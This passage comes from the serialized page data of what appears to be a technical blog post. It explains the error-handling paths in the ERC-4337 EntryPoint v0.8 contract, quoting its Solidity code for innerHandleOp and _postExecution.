mload",{"type":23,"tag":314,"props":104368,"children":104369},{"style":338},[104370],{"type":28,"value":341},{"type":23,"tag":314,"props":104372,"children":104373},{"style":1054},[104374],{"type":28,"value":1600},{"type":23,"tag":314,"props":104376,"children":104377},{"style":338},[104378],{"type":28,"value":2414},{"type":23,"tag":314,"props":104380,"children":104381},{"class":316,"line":1660},[104382],{"type":23,"tag":314,"props":104383,"children":104384},{"style":338},[104385],{"type":28,"value":58136},{"type":23,"tag":314,"props":104387,"children":104388},{"class":316,"line":1708},[104389,104394],{"type":23,"tag":314,"props":104390,"children":104391},{"style":332},[104392],{"type":28,"value":104393}," _restoreFreePtr",{"type":23,"tag":314,"props":104395,"children":104396},{"style":338},[104397],{"type":28,"value":104398},"(saveFreePtr);\n",{"type":23,"tag":314,"props":104400,"children":104401},{"class":316,"line":1743},[104402],{"type":23,"tag":314,"props":104403,"children":104404},{"style":338},[104405],{"type":28,"value":2602},{"type":23,"tag":314,"props":104407,"children":104408},{"class":316,"line":1751},[104409,104413,104417,104421],{"type":23,"tag":314,"props":104410,"children":104411},{"style":2284},[104412],{"type":28,"value":2527},{"type":23,"tag":314,"props":104414,"children":104415},{"style":338},[104416],{"type":28,"value":2324},{"type":23,"tag":314,"props":104418,"children":104419},{"style":354},[104420],{"type":28,"value":19859},{"type":23,"tag":314,"props":104422,"children":104423},{"style":338},[104424],{"type":28,"value":104425},"success) {\n",{"type":23,"tag":314,"props":104427,"children":104428},{"class":316,"line":1791},[104429],{"type":23,"tag":314,"props":104430,"children":104431},{"style":338},[104432],{"type":28,"value":104053},{"type":23,"tag":314,"props":104434,"children":104435},{"class":316,"line":1805},[104436,104440,104445,104449],{"type":23,"tag":314,"props":104437,"children":104438},{"style":2284},[104439],{"type":28,"value":58052},{"type":23,"tag":314,"props":104441,"children":104442},{"style":338},[104443],{"type":28,"value":104444}," (innerRevertCode ",{"type":23,"tag":314,"props":104446,"children":104447},{"style":354},[104448],{"type":28,"value":7828},{"type":23,"tag":314,"props":104450,"children":104451},{"style":338},[104452],{"type":28,"value":104453}," INNER_OUT_OF_GAS) {\n",{"type":23,"tag":314,"props":104455,"children":104456},{"class":316,"line":1818},[104457],{"type":23,"tag":314,"props":104458,"children":104459},{"style":374},[104460],{"type":28,"value":104461}," // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":23,"tag":314,"props":104463,"children":104464},{"class":316,"line":1873},[104465],{"type":23,"tag":314,"props":104466,"children":104467},{"style":374},[104468],{"type":28,"value":104469}," // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":23,"tag":314,"props":104471,"children":104472},{"class":316,"line":1891},[104473,104478,104483,104488,104493],{"type":23,"tag":314,"props":104474,"children":104475},{"style":2284},[104476],{"type":28,"value":104477}," revert",{"type":23,"tag":314,"props":104479,"children":104480},{"style":332},[104481],{"type":28,"value":104482}," FailedOp",{"type":23,"tag":314,"props":104484,"children":104485},{"style":338},[104486],{"type":28,"value":104487},"(opIndex, ",{"type":23,"tag":314,"props":104489,"children":104490},{"style":1245},[104491],{"type":28,"value":104492},"\"AA95 out of gas\"",{"type":23,"tag":314,"props":104494,"children":104495},{"style":338},[104496],{"type":28,"value":1025},{"type":23,"tag":314,"props":104498,"children":104499},{"class":316,"line":1899},[104500,104504,104508,104512,104516,104520],{"type":23,"tag":314,"props":104501,"children":104502},{"style":338},[104503],{"type":28,"value":69847},{"type":23,"tag":314,"props":104505,"children":104506},{"style":2284},[104507],{"type":28,"value":2570},{"type":23,"tag":314,"props":104509,"children":104510},{"style":2284},[104511],{"type":28,"value":15029},{"type":23,"tag":314,"props":104513,"children":104514},{"style":338},[104515],{"type":28,"value":104444},{"type":23,"tag":314,"props":104517,"children":104518},{"style":354},[104519],{"type":28,"value":7828},{"type":23,"tag":314,"props":104521,"children":104522},{"style":338},[104523],{"type":28,"value":104524}," INNER_REVERT_LOW_PREFUND) {\n",{"type":23,"tag":314,"props":104526,"children":104527},{"class":316,"line":1944},[104528],{"type":23,"tag":314,"props":104529,"children":104530},{"style":374},[104531],{"type":28,"value":104532}," // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":23,"tag":314,"props":104534,"children":104535},{"class":316,"line":2008},[104536,104540,104545,104549,104554,104558,104563,104567,104571],{"type":23,"tag":314,"props":104537,"children":104538},{"style":2674},[104539],{"type":28,"value":102712},{"type":23,"tag":314,"props":104541,"children":104542},{"style":338},[104543],{"type":28,"value":104544}," actualGas ",{"type":23,"tag":314,"props":104546,"children":104547},{"style":354},[104548],{"type":28,"value":1102},{"type":23,"tag":314,"props":104550,"children":104551},{"style":338},[104552],{"type":28,"value":104553}," preGas ",{"type":23,"tag":314,"props":104555,"children":104556},{"style":354},[104557],{"type":28,"value":1051},{"type":23,"tag":314,"props":104559,"children":104560},{"style":321},[104561],{"type":28,"value":104562}," gasleft",{"type":23,"tag":314,"props":104564,"children":104565},{"style":338},[104566],{"type":28,"value":13290},{"type":23,"tag":314,"props":104568,"children":104569},{"style":354},[104570],{"type":28,"value":1130},{"type":23,"tag":314,"props":104572,"children":104573},{"style":338},[104574],{"type":28,"value":104575}," opInfo.preOpGas;\n",{"type":23,"tag":314,"props":104577,"children":104578},{"class":316,"line":2043},[104579,104583,104587,104591],{"type":23,"tag":314,"props":104580,"children":104581},{"style":2674},[104582],{"type":28,"value":102712},{"type":23,"tag":314,"props":104584,"children":104585},{"style":338},[104586],{"type":28,"value":103359},{"type":23,"tag":314,"props":104588,"children":104589},{"style":354},[104590],{"type":28,"value":1102},{"type":23,"tag":314,"props":104592,"children":104593},{"style":338},[104594],{"type":28,"value":104595}," opInfo.prefund;\n",{"type":23,"tag":314,"props":104597,"children":104598},{"class":316,"line":22803},[104599,104604],{"type":23,"tag":314,"props":104600,"children":104601},{"style":332},[104602],{"type":28,"value":104603}," _emitPrefundTooLow",{"type":23,"tag":314,"props":104605,"children":104606},{"style":338},[104607],{"type":28,"value":104608},"(opInfo);\n",{"type":23,"tag":314,"props":104610,"children":104611},{"class":316,"line":22845},[104612,104617,104622,104626],{"type":23,"tag":314,"props":104613,"children":104614},{"style":332},[104615],{"type":28,"value":104616}," _emitUserOperationEvent",{"type":23,"tag":314,"props":104618,"children":104619},{"style":338},[104620],{"type":28,"value":104621},"(opInfo, ",{"type":23,"tag":314,"props":104623,"children":104624},{"style":321},[104625],{"type":28,"value":1532},{"type":23,"tag":314,"props":104627,"children":104628},{"style":338},[104629],{"type":28,"value":104630},", actualGasCost, actualGas);\n",{"type":23,"tag":314,"props":104632,"children":104633},{"class":316,"line":22878},[104634,104638,104642],{"type":23,"tag":314,"props":104635,"children":104636},{"style":338},[104637],{"type":28,"value":104357},{"type":23,"tag":314,"props":104639,"children":104640},{"style":354},[104641],{"type":28,"value":1102},{"type":23,"tag":314,"props":104643,"children":104644},{"style":338},[104645],{"type":28,"value":104646}," actualGasCost;\n",{"type":23,"tag":314,"props":104648,"children":104649},{"class":316,"line":22886},[104650,104654,104658],{"type":23,"tag":314,"props":104651,"children":104652},{"style":338},[104653],{"type":28,"value":69847},{"type":23,"tag":314,"props":104655,"children":104656},{"style":2284},[104657],{"type":28,"value":2570},{"type":23,"tag":314,"props":104659,"children":104660},{"style":338},[104661],{"type":28,"value":1449},{"type":23,"tag":314,"props":104663,"children":104664},{"class":316,"line":22894},[104665],{"type":23,"tag":314,"props":104666,"children":104667},{"style":338},[104668],{"type":28,"value":104053},{"type":23,"tag":314,"props":104670,"children":104671},{"class":316,"line":22903},[104672,104676,104680,104685],{"type":23,"tag":314,"props":104673,"children":104674},{"style":338},[104675],{"type":28,"value":104357},{"type":23,"tag":314,"props":104677,"children":104678},{"style":354},[104679],{"type":28,"value":1102},{"type":23,"tag":314,"props":104681,"children":104682},{"style":332},[104683],{"type":28,"value":104684}," _postExecution",{"type":23,"tag":314,"props":104686,"children":104687},{"style":338},[104688],{"type":28,"value":2719},{"type":23,"tag":314,"props":104690,"children":104691},{"class":316,"line":22979},[104692],{"type":23,"tag":314,"props":104693,"children":104694},{"style":338},[104695],{"type":28,"value":104696}," IPaymaster.PostOpMode.postOpReverted,\n",{"type":23,"tag":314,"props":104698,"children":104699},{"class":316,"line":23012},[104700],{"type":23,"tag":314,"props":104701,"children":104702},{"style":338},[104703],{"type":28,"value":104704}," opInfo,\n",{"type":23,"tag":314,"props":104706,"children":104707},{"class":316,"line":23020},[104708],{"type":23,"tag":314,"props":104709,"children":104710},{"style":338},[104711],{"type":28,"value":104712}," context,\n",{"type":23,"tag":314,"props":104714,"children":104715},{"class":316,"line":23028},[104716],{"type":23,"tag":314,"props":104717,"children":104718},{"style":338},[104719],{"type":28,"value":104720}," actualGas\n",{"type":23,"tag":314,"props":104722,"children":104723},{"class":316,"line":23065},[104724],{"type":23,"tag":314,"props":104725,"children":104726},{"style":338},[104727],{"type":28,"value":104728}," );\n",{"type":23,"tag":314,"props":104730,"children":104731},{"class":316,"line":23078},[104732],{"type":23,"tag":314,"props":104733,"children":104734},{"style":338},[104735],{"type":28,"value":58136},{"type":23,"tag":314,"props":104737,"children":104738},{"class":316,"line":23091},[104739],{"type":23,"tag":314,"props":104740,"children":104741},{"style":338},[104742],{"type":28,"value":2602},{"type":23,"tag":314,"props":104744,"children":104745},{"class":316,"line":23104},[104746],{"type":23,"tag":314,"props":104747,"children":104748},{"style":338},[104749],{"type":28,"value":2610},{"type":23,"tag":24,"props":104751,"children":104752},{},[104753,104755,104760,104762,104768,104770,104776,104778,104784],{"type":28,"value":104754},"During execution, the ",{"type":23,"tag":94,"props":104756,"children":104758},{"className":104757},[],[104759],{"type":28,"value":101515},{"type":28,"value":104761}," contract makes a ",{"type":23,"tag":31,"props":104763,"children":104766},{"href":104764,"rel":104765},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[35],[104767],{"type":28,"value":37544},{"type":28,"value":104769}," to its own ",{"type":23,"tag":94,"props":104771,"children":104773},{"className":104772},[],[104774],{"type":28,"value":104775},"innerHandleOp",{"type":28,"value":104777}," function through a low-level ",{"type":23,"tag":94,"props":104779,"children":104781},{"className":104780},[],[104782],{"type":28,"value":104783},"call()",{"type":28,"value":104785},". This is done to create a new call context for executing the user operation.",{"type":23,"tag":24,"props":104787,"children":104788},{},[104789,104791,104797,104798,104803,104805,104812,104814,104820],{"type":28,"value":104790},"If this call fails (when ",{"type":23,"tag":94,"props":104792,"children":104794},{"className":104793},[],[104795],{"type":28,"value":104796},"success",{"type":28,"value":4756},{"type":23,"tag":94,"props":104799,"children":104801},{"className":104800},[],[104802],{"type":28,"value":1532},{"type":28,"value":104804},"), the code enters an ",{"type":23,"tag":31,"props":104806,"children":104809},{"href":104807,"rel":104808},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[35],[104810],{"type":28,"value":104811},"error handling",{"type":28,"value":104813}," flow that checks the ",{"type":23,"tag":94,"props":104815,"children":104817},{"className":104816},[],[104818],{"type":28,"value":104819},"innerRevertCode",{"type":28,"value":104821},". There are three possible paths:",{"type":23,"tag":84,"props":104823,"children":104824},{},[104825,104849,104867],{"type":23,"tag":88,"props":104826,"children":104827},{},[104828,104829,104834,104835,104841,104843,104848],{"type":28,"value":6735},{"type":23,"tag":94,"props":104830,"children":104832},{"className":104831},[],[104833],{"type":28,"value":104819},{"type":28,"value":4756},{"type":23,"tag":94,"props":104836,"children":104838},{"className":104837},[],[104839],{"type":28,"value":104840},"INNER_OUT_OF_GAS",{"type":28,"value":104842},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":23,"tag":94,"props":104844,"children":104846},{"className":104845},[],[104847],{"type":28,"value":104492},{"type":28,"value":282},{"type":23,"tag":88,"props":104850,"children":104851},{},[104852,104853,104858,104859,104865],{"type":28,"value":6735},{"type":23,"tag":94,"props":104854,"children":104856},{"className":104855},[],[104857],{"type":28,"value":104819},{"type":28,"value":4756},{"type":23,"tag":94,"props":104860,"children":104862},{"className":104861},[],[104863],{"type":28,"value":104864},"INNER_REVERT_LOW_PREFUND",{"type":28,"value":104866},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":23,"tag":88,"props":104868,"children":104869},{},[104870,104872,104878,104880,104886],{"type":28,"value":104871},"For any other revert reason, the code will still call ",{"type":23,"tag":94,"props":104873,"children":104875},{"className":104874},[],[104876],{"type":28,"value":104877},"_postExecution()",{"type":28,"value":104879}," but with ",{"type":23,"tag":94,"props":104881,"children":104883},{"className":104882},[],[104884],{"type":28,"value":104885},"PostOpMode.postOpReverted",{"type":28,"value":104887},". This ensures proper cleanup happens even on failure.",{"type":23,"tag":24,"props":104889,"children":104890},{},[104891,104893,104898,104900,104905,104907,104912,104914,104919],{"type":28,"value":104892},"We're particularly interested in the third error path, where ",{"type":23,"tag":94,"props":104894,"children":104896},{"className":104895},[],[104897],{"type":28,"value":104819},{"type":28,"value":104899}," is neither ",{"type":23,"tag":94,"props":104901,"children":104903},{"className":104902},[],[104904],{"type":28,"value":104840},{"type":28,"value":104906}," nor ",{"type":23,"tag":94,"props":104908,"children":104910},{"className":104909},[],[104911],{"type":28,"value":104864},{"type":28,"value":104913},". To understand this case better, let's examine how ",{"type":23,"tag":94,"props":104915,"children":104917},{"className":104916},[],[104918],{"type":28,"value":104775},{"type":28,"value":104920}," works.",{"type":23,"tag":304,"props":104922,"children":104924},{"className":3729,"code":104923,"language":3728,"meta":7,"style":7}," function innerHandleOp(\n bytes memory callData,\n UserOpInfo memory opInfo,\n bytes calldata context\n ) external returns (uint256 actualGasCost) {\n [...]\n IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n if (callData.length > 0) {\n bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n if (!success) {\n uint256 freePtr = _getFreePtr();\n bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n if (result.length > 0) {\n emit UserOperationRevertReason(\n opInfo.userOpHash,\n mUserOp.sender,\n mUserOp.nonce,\n result\n );\n }\n _restoreFreePtr(freePtr);\n mode = IPaymaster.PostOpMode.opReverted;\n }\n }\n\n unchecked {\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n return _postExecution(mode, opInfo, context, actualGas);\n }\n }\n",[104925],{"type":23,"tag":94,"props":104926,"children":104927},{"__ignoreMap":7},[104928,104944,104965,104985,105001,105034,105041,105058,105082,105122,105141,105166,105200,105224,105241,105249,105257,105265,105273,105281,105288,105301,105318,105325,105332,105339,105350,105389,105405,105412],{"type":23,"tag":314,"props":104929,"children":104930},{"class":316,"line":317},[104931,104935,104940],{"type":23,"tag":314,"props":104932,"children":104933},{"style":321},[104934],{"type":28,"value":89083},{"type":23,"tag":314,"props":104936,"children":104937},{"style":332},[104938],{"type":28,"value":104939}," innerHandleOp",{"type":23,"tag":314,"props":104941,"children":104942},{"style":338},[104943],{"type":28,"value":2719},{"type":23,"tag":314,"props":104945,"children":104946},{"class":316,"line":370},[104947,104952,104956,104961],{"type":23,"tag":314,"props":104948,"children":104949},{"style":2674},[104950],{"type":28,"value":104951}," bytes",{"type":23,"tag":314,"props":104953,"children":104954},{"style":321},[104955],{"type":28,"value":102332},{"type":23,"tag":314,"props":104957,"children":104958},{"style":360},[104959],{"type":28,"value":104960}," callData",{"type":23,"tag":314,"props":104962,"children":104963},{"style":338},[104964],{"type":28,"value":1870},{"type":23,"tag":314,"props":104966,"children":104967},{"class":316,"line":380},[104968,104972,104976,104981],{"type":23,"tag":314,"props":104969,"children":104970},{"style":321},[104971],{"type":28,"value":103992},{"type":23,"tag":314,"props":104973,"children":104974},{"style":321},[104975],{"type":28,"value":102332},{"type":23,"tag":314,"props":104977,"children":104978},{"style":360},[104979],{"type":28,"value":104980}," opInfo",{"type":23,"tag":314,"props":104982,"children":104983},{"style":338},[104984],{"type":28,"value":1870},{"type":23,"tag":314,"props":104986,"children":104987},{"class":316,"line":1091},[104988,104992,104996],{"type":23,"tag":314,"props":104989,"children":104990},{"style":2674},[104991],{"type":28,"value":104951},{"type":23,"tag":314,"props":104993,"children":104994},{"style":321},[104995],{"type":28,"value":102264},{"type":23,"tag":314,"props":104997,"children":104998},{"style":360},[104999],{"type":28,"value":105000}," context\n",{"type":23,"tag":314,"props":105002,"children":105003},{"class":316,"line":1141},[105004,105009,105014,105018,105022,105026,105030],{"type":23,"tag":314,"props":105005,"children":105006},{"style":338},[105007],{"type":28,"value":105008}," ) ",{"type":23,"tag":314,"props":105010,"children":105011},{"style":321},[105012],{"type":28,"value":105013},"external",{"type":23,"tag":314,"props":105015,"children":105016},{"style":2284},[105017],{"type":28,"value":75246},{"type":23,"tag":314,"props":105019,"children":105020},{"style":338},[105021],{"type":28,"value":2324},{"type":23,"tag":314,"props":105023,"children":105024},{"style":2674},[105025],{"type":28,"value":45417},{"type":23,"tag":314,"props":105027,"children":105028},{"style":360},[105029],{"type":28,"value":103073},{"type":23,"tag":314,"props":105031,"children":105032},{"style":338},[105033],{"type":28,"value":367},{"type":23,"tag":314,"props":105035,"children":105036},{"class":316,"line":1173},[105037],{"type":23,"tag":314,"props":105038,"children":105039},{"style":338},[105040],{"type":28,"value":104053},{"type":23,"tag":314,"props":105042,"children":105043},{"class":316,"line":1208},[105044,105049,105053],{"type":23,"tag":314,"props":105045,"children":105046},{"style":338},[105047],{"type":28,"value":105048}," IPaymaster.PostOpMode mode ",{"type":23,"tag":314,"props":105050,"children":105051},{"style":354},[105052],{"type":28,"value":1102},{"type":23,"tag":314,"props":105054,"children":105055},{"style":338},[105056],{"type":28,"value":105057}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":23,"tag":314,"props":105059,"children":105060},{"class":316,"line":1216},[105061,105065,105070,105074,105078],{"type":23,"tag":314,"props":105062,"children":105063},{"style":2284},[105064],{"type":28,"value":2527},{"type":23,"tag":314,"props":105066,"children":105067},{"style":338},[105068],{"type":28,"value":105069}," (callData.length ",{"type":23,"tag":314,"props":105071,"children":105072},{"style":354},[105073],{"type":28,"value":9710},{"type":23,"tag":314,"props":105075,"children":105076},{"style":1054},[105077],{"type":28,"value":1201},{"type":23,"tag":314,"props":105079,"children":105080},{"style":338},[105081],{"type":28,"value":367},{"type":23,"tag":314,"props":105083,"children":105084},{"class":316,"line":1301},[105085,105090,105095,105099,105104,105108,105113,105117],{"type":23,"tag":314,"props":105086,"children":105087},{"style":2674},[105088],{"type":28,"value":105089}," bool",{"type":23,"tag":314,"props":105091,"children":105092},{"style":338},[105093],{"type":28,"value":105094}," success ",{"type":23,"tag":314,"props":105096,"children":105097},{"style":354},[105098],{"type":28,"value":1102},{"type":23,"tag":314,"props":105100,"children":105101},{"style":338},[105102],{"type":28,"value":105103}," Exec.",{"type":23,"tag":314,"props":105105,"children":105106},{"style":332},[105107],{"type":28,"value":37544},{"type":23,"tag":314,"props":105109,"children":105110},{"style":338},[105111],{"type":28,"value":105112},"(mUserOp.sender, ",{"type":23,"tag":314,"props":105114,"children":105115},{"style":1054},[105116],{"type":28,"value":1600},{"type":23,"tag":314,"props":105118,"children":105119},{"style":338},[105120],{"type":28,"value":105121},", callData, callGasLimit);\n",{"type":23,"tag":314,"props":105123,"children":105124},{"class":316,"line":1343},[105125,105129,105133,105137],{"type":23,"tag":314,"props":105126,"children":105127},{"style":2284},[105128],{"type":28,"value":58052},{"type":23,"tag":314,"props":105130,"children":105131},{"style":338},[105132],{"type":28,"value":2324},{"type":23,"tag":314,"props":105134,"children":105135},{"style":354},[105136],{"type":28,"value":19859},{"type":23,"tag":314,"props":105138,"children":105139},{"style":338},[105140],{"type":28,"value":104425},{"type":23,"tag":314,"props":105142,"children":105143},{"class":316,"line":1351},[105144,105148,105153,105157,105162],{"type":23,"tag":314,"props":105145,"children":105146},{"style":2674},[105147],{"type":28,"value":102712},{"type":23,"tag":314,"props":105149,"children":105150},{"style":338},[105151],{"type":28,"value":105152}," freePtr ",{"type":23,"tag":314,"props":105154,"children":105155},{"style":354},[105156],{"type":28,"value":1102},{"type":23,"tag":314,"props":105158,"children":105159},{"style":332},[105160],{"type":28,"value":105161}," _getFreePtr",{"type":23,"tag":314,"props":105163,"children":105164},{"style":338},[105165],{"type":28,"value":2926},{"type":23,"tag":314,"props":105167,"children":105168},{"class":316,"line":1387},[105169,105173,105177,105182,105186,105190,105195],{"type":23,"tag":314,"props":105170,"children":105171},{"style":2674},[105172],{"type":28,"value":104109},{"type":23,"tag":314,"props":105174,"children":105175},{"style":321},[105176],{"type":28,"value":102332},{"type":23,"tag":314,"props":105178,"children":105179},{"style":338},[105180],{"type":28,"value":105181}," result ",{"type":23,"tag":314,"props":105183,"children":105184},{"style":354},[105185],{"type":28,"value":1102},{"type":23,"tag":314,"props":105187,"children":105188},{"style":338},[105189],{"type":28,"value":105103},{"type":23,"tag":314,"props":105191,"children":105192},{"style":332},[105193],{"type":28,"value":105194},"getReturnData",{"type":23,"tag":314,"props":105196,"children":105197},{"style":338},[105198],{"type":28,"value":105199},"(REVERT_REASON_MAX_LEN);\n",{"type":23,"tag":314,"props":105201,"children":105202},{"class":316,"line":1422},[105203,105207,105212,105216,105220],{"type":23,"tag":314,"props":105204,"children":105205},{"style":2284},[105206],{"type":28,"value":102772},{"type":23,"tag":314,"props":105208,"children":105209},{"style":338},[105210],{"type":28,"value":105211}," (result.length ",{"type":23,"tag":314,"props":105213,"children":105214},{"style":354},[105215],{"type":28,"value":9710},{"type":23,"tag":314,"props":105217,"children":105218},{"style":1054},[105219],{"type":28,"value":1201},{"type":23,"tag":314,"props":105221,"children":105222},{"style":338},[105223],{"type":28,"value":367},{"type":23,"tag":314,"props":105225,"children":105226},{"class":316,"line":1430},[105227,105232,105237],{"type":23,"tag":314,"props":105228,"children":105229},{"style":2284},[105230],{"type":28,"value":105231}," emit",{"type":23,"tag":314,"props":105233,"children":105234},{"style":332},[105235],{"type":28,"value":105236}," UserOperationRevertReason",{"type":23,"tag":314,"props":105238,"children":105239},{"style":338},[105240],{"type":28,"value":2719},{"type":23,"tag":314,"props":105242,"children":105243},{"class":316,"line":1452},[105244],{"type":23,"tag":314,"props":105245,"children":105246},{"style":338},[105247],{"type":28,"value":105248}," opInfo.userOpHash,\n",{"type":23,"tag":314,"props":105250,"children":105251},{"class":316,"line":1497},[105252],{"type":23,"tag":314,"props":105253,"children":105254},{"style":338},[105255],{"type":28,"value":105256}," mUserOp.sender,\n",{"type":23,"tag":314,"props":105258,"children":105259},{"class":316,"line":1539},[105260],{"type":23,"tag":314,"props":105261,"children":105262},{"style":338},[105263],{"type":28,"value":105264}," mUserOp.nonce,\n",{"type":23,"tag":314,"props":105266,"children":105267},{"class":316,"line":1548},[105268],{"type":23,"tag":314,"props":105269,"children":105270},{"style":338},[105271],{"type":28,"value":105272}," result\n",{"type":23,"tag":314,"props":105274,"children":105275},{"class":316,"line":1584},[105276],{"type":23,"tag":314,"props":105277,"children":105278},{"style":338},[105279],{"type":28,"value":105280}," );\n",{"type":23,"tag":314,"props":105282,"children":105283},{"class":316,"line":1617},[105284],{"type":23,"tag":314,"props":105285,"children":105286},{"style":338},[105287],{"type":28,"value":70324},{"type":23,"tag":314,"props":105289,"children":105290},{"class":316,"line":1625},[105291,105296],{"type":23,"tag":314,"props":105292,"children":105293},{"style":332},[105294],{"type":28,"value":105295}," _restoreFreePtr",{"type":23,"tag":314,"props":105297,"children":105298},{"style":338},[105299],{"type":28,"value":105300},"(freePtr);\n",{"type":23,"tag":314,"props":105302,"children":105303},{"class":316,"line":1660},[105304,105309,105313],{"type":23,"tag":314,"props":105305,"children":105306},{"style":338},[105307],{"type":28,"value":105308}," mode ",{"type":23,"tag":314,"props":105310,"children":105311},{"style":354},[105312],{"type":28,"value":1102},{"type":23,"tag":314,"props":105314,"children":105315},{"style":338},[105316],{"type":28,"value":105317}," IPaymaster.PostOpMode.opReverted;\n",{"type":23,"tag":314,"props":105319,"children":105320},{"class":316,"line":1708},[105321],{"type":23,"tag":314,"props":105322,"children":105323},{"style":338},[105324],{"type":28,"value":58136},{"type":23,"tag":314,"props":105326,"children":105327},{"class":316,"line":1743},[105328],{"type":23,"tag":314,"props":105329,"children":105330},{"style":338},[105331],{"type":28,"value":2602},{"type":23,"tag":314,"props":105333,"children":105334},{"class":316,"line":1751},[105335],{"type":23,"tag":314,"props":105336,"children":105337},{"emptyLinePlaceholder":18},[105338],{"type":28,"value":1088},{"type":23,"tag":314,"props":105340,"children":105341},{"class":316,"line":1791},[105342,105346],{"type":23,"tag":314,"props":105343,"children":105344},{"style":2284},[105345],{"type":28,"value":102368},{"type":23,"tag":314,"props":105347,"children":105348},{"style":338},[105349],{"type":28,"value":1449},{"type":23,"tag":314,"props":105351,"children":105352},{"class":316,"line":1805},[105353,105357,105361,105365,105369,105373,105377,105381,105385],{"type":23,"tag":314,"props":105354,"children":105355},{"style":2674},[105356],{"type":28,"value":102380},{"type":23,"tag":314,"props":105358,"children":105359},{"style":338},[105360],{"type":28,"value":104544},{"type":23,"tag":314,"props":105362,"children":105363},{"style":354},[105364],{"type":28,"value":1102},{"type":23,"tag":314,"props":105366,"children":105367},{"style":338},[105368],{"type":28,"value":104553},{"type":23,"tag":314,"props":105370,"children":105371},{"style":354},[105372],{"type":28,"value":1051},{"type":23,"tag":314,"props":105374,"children":105375},{"style":321},[105376],{"type":28,"value":104562},{"type":23,"tag":314,"props":105378,"children":105379},{"style":338},[105380],{"type":28,"value":13290},{"type":23,"tag":314,"props":105382,"children":105383},{"style":354},[105384],{"type":28,"value":1130},{"type":23,"tag":314,"props":105386,"children":105387},{"style":338},[105388],{"type":28,"value":104575},{"type":23,"tag":314,"props":105390,"children":105391},{"class":316,"line":1818},[105392,105396,105400],{"type":23,"tag":314,"props":105393,"children":105394},{"style":2284},[105395],{"type":28,"value":78328},{"type":23,"tag":314,"props":105397,"children":105398},{"style":332},[105399],{"type":28,"value":104684},{"type":23,"tag":314,"props":105401,"children":105402},{"style":338},[105403],{"type":28,"value":105404},"(mode, opInfo, context, actualGas);\n",{"type":23,"tag":314,"props":105406,"children":105407},{"class":316,"line":1873},[105408],{"type":23,"tag":314,"props":105409,"children":105410},{"style":338},[105411],{"type":28,"value":2602},{"type":23,"tag":314,"props":105413,"children":105414},{"class":316,"line":1891},[105415],{"type":23,"tag":314,"props":105416,"children":105417},{"style":338},[105418],{"type":28,"value":2610},{"type":23,"tag":24,"props":105420,"children":105421},{},[105422,105424,105429,105431,105436,105438,105444,105446,105452,105454,105459,105461,105471],{"type":28,"value":105423},"We observe that, in the happy path, ",{"type":23,"tag":94,"props":105425,"children":105427},{"className":105426},[],[105428],{"type":28,"value":104775},{"type":28,"value":105430}," is expected to not only execute the actual ",{"type":23,"tag":94,"props":105432,"children":105434},{"className":105433},[],[105435],{"type":28,"value":101434},{"type":28,"value":105437}," call, but also call ",{"type":23,"tag":94,"props":105439,"children":105441},{"className":105440},[],[105442],{"type":28,"value":105443},"_postExecution",{"type":28,"value":105445},". This means that the third failure handling path, which passes ",{"type":23,"tag":94,"props":105447,"children":105449},{"className":105448},[],[105450],{"type":28,"value":105451},"postOpReverted",{"type":28,"value":105453}," as its mode, happens when something goes wrong with the ",{"type":23,"tag":94,"props":105455,"children":105457},{"className":105456},[],[105458],{"type":28,"value":105443},{"type":28,"value":105460}," call ",{"type":23,"tag":721,"props":105462,"children":105463},{},[105464,105466],{"type":28,"value":105465},"inside ",{"type":23,"tag":94,"props":105467,"children":105469},{"className":105468},[],[105470],{"type":28,"value":104775},{"type":28,"value":282},{"type":23,"tag":24,"props":105473,"children":105474},{},[105475,105477,105482],{"type":28,"value":105476},"Let's examine the ",{"type":23,"tag":94,"props":105478,"children":105480},{"className":105479},[],[105481],{"type":28,"value":105443},{"type":28,"value":105483}," code to understand where the revert might occur.",{"type":23,"tag":304,"props":105485,"children":105487},{"className":3729,"code":105486,"language":3728,"meta":7,"style":7}," function _postExecution(\n IPaymaster.PostOpMode mode,\n UserOpInfo memory opInfo,\n bytes memory context,\n uint256 actualGas\n ) internal virtual returns (uint256 actualGasCost) {\n [...]\n if (paymaster == address(0)) {\n refundAddress = mUserOp.sender;\n } else {\n refundAddress = paymaster;\n if (context.length > 0) {\n actualGasCost = actualGas * gasPrice;\n uint256 postOpPreGas = gasleft();\n if (mode != IPaymaster.PostOpMode.postOpReverted) {\n try IPaymaster(paymaster).postOp{\n gas: mUserOp.paymasterPostOpGasLimit\n }(mode, context, actualGasCost, gasPrice)\n // solhint-disable-next-line no-empty-blocks\n {} catch {\n bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n revert PostOpReverted(reason);\n }\n }\n // Calculating a penalty for unused postOp gas\n // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n uint256 postOpGasUsed = postOpPreGas - gasleft();\n postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n }\n }\n [...]\n 